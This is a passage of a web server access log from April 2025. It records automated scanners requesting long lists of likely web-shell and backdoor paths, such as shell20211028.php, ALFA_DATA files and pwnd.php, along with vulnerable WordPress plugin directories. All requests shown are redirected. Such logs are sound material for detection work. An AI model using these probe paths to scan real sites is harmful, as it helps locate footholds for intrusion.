"-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:42 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:42 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.178.164 - - [25/Apr/2025:11:28:42 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:43 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:43 -0400] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.178.164 - - [25/Apr/2025:11:28:43 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:43 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:43 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:44 -0400] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:44 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:44 -0400] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:44 -0400] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:44 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.178.164 - - [25/Apr/2025:11:28:44 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.178.164 - - [25/Apr/2025:11:28:45 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:28:45 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.178.164 - - [25/Apr/2025:11:28:45 -0400] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:45 -0400] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 132.232.144.200 - - [25/Apr/2025:11:31:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 3.108.190.21 - - [25/Apr/2025:11:31:07 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.108.190.21 - - [25/Apr/2025:11:31:09 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.108.190.21 - - [25/Apr/2025:11:31:10 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.108.190.21 - - [25/Apr/2025:11:31:11 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.108.190.21 - - [25/Apr/2025:11:31:13 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.108.190.21 - - [25/Apr/2025:11:31:14 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.108.190.21 - - [25/Apr/2025:11:31:16 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.108.190.21 - - [25/Apr/2025:11:31:17 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.108.190.21 - - [25/Apr/2025:11:31:18 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.108.190.21 - - [25/Apr/2025:11:31:19 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 188.212.135.34 - - [25/Apr/2025:11:31:33 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 91.84.99.6 - - [25/Apr/2025:11:41:58 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 43.131.243.61 - - [25/Apr/2025:12:05:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 180.149.228.172 - - [25/Apr/2025:12:08:51 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 180.149.228.172 - - [25/Apr/2025:12:08:52 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:08:52 -0400] "GET /.ll/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 180.149.228.172 - - [25/Apr/2025:12:08:53 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:08:53 -0400] "GET /wp-content/plugins/async-upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:08:53 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:08:53 -0400] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:08:54 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:08:54 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 180.149.228.172 - - [25/Apr/2025:12:08:55 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:08:55 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 180.149.228.172 - - [25/Apr/2025:12:08:56 -0400] "GET /templatesdex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:08:56 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:08:57 -0400] "GET /.lu/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:08:57 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 180.149.228.172 - - [25/Apr/2025:12:08:57 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 180.149.228.172 - - [25/Apr/2025:12:08:58 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:08:58 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:08:58 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:08:58 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:08:59 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 180.149.228.172 - - [25/Apr/2025:12:08:59 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:00 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:00 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 180.149.228.172 - - [25/Apr/2025:12:09:01 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:09:02 -0400] "GET /eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 180.149.228.172 - - [25/Apr/2025:12:09:02 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:02 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:03 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:03 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 180.149.228.172 - - [25/Apr/2025:12:09:03 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:09:04 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:04 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:09:04 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:05 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:06 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:06 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:07 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:07 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:07 -0400] "GET /rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:09:08 -0400] "GET /wp-content/plugins/rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 180.149.228.172 - - [25/Apr/2025:12:09:09 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:09 -0400] "GET /.well-known/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:09 -0400] "GET /chosen.phppload HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:09 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:11 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:11 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:13 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:13 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:14 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:14 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 180.149.228.172 - - [25/Apr/2025:12:09:15 -0400] "GET /user/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:15 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:16 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:16 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:16 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:17 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 180.149.228.172 - - [25/Apr/2025:12:09:17 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:09:17 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 180.149.228.172 - - [25/Apr/2025:12:09:18 -0400] "GET /pgs.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:19 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:19 -0400] "GET /mjq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 180.149.228.172 - - [25/Apr/2025:12:09:19 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:09:20 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:20 -0400] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:20 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:21 -0400] "GET /.qiodeme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:09:21 -0400] "GET /ad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:09:21 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:21 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 180.149.228.172 - - [25/Apr/2025:12:09:22 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:22 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 180.149.228.172 - - [25/Apr/2025:12:09:22 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:22 -0400] "GET /Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:09:23 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:23 -0400] "GET /bv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:23 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:24 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:09:24 -0400] "GET /bk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 180.149.228.172 - - [25/Apr/2025:12:09:24 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:09:25 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 180.149.228.172 - - [25/Apr/2025:12:09:25 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 180.149.228.172 - - 